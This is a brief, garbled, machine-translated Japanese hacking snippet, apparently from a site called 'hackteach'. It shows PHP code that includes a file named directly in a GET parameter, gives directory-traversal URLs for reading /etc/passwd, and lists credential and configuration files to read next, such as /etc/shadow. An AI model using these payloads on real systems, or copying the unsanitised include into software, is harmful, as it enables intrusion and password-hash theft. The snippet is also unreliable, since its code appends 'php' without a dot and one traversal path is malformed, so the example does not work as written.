PHP は脆弱なコードを含むローカル ファイルを偽造します

コード:

コードをコピー コードは次のとおりです:

$page=$_GET[ 'page' ];
include($page.'php');
?>

http://www.xxx. com/index.php ?page=../etc/passwd
http://www.xxx.com/index.php?page=../../../etc/passwd
http: //www.xxx .com/index.php?page=..../../etc/passwd

さらにデータを取得:
etc/profile
etc/services
/etc/passwd
/etc/shadow
/etc/group
/etc/security/group
/etc/security/passwd
/etc/security/user
/etc /security/environ
/etc/security/limits
/usr/lib/security/mkuser.default

(hackteach より)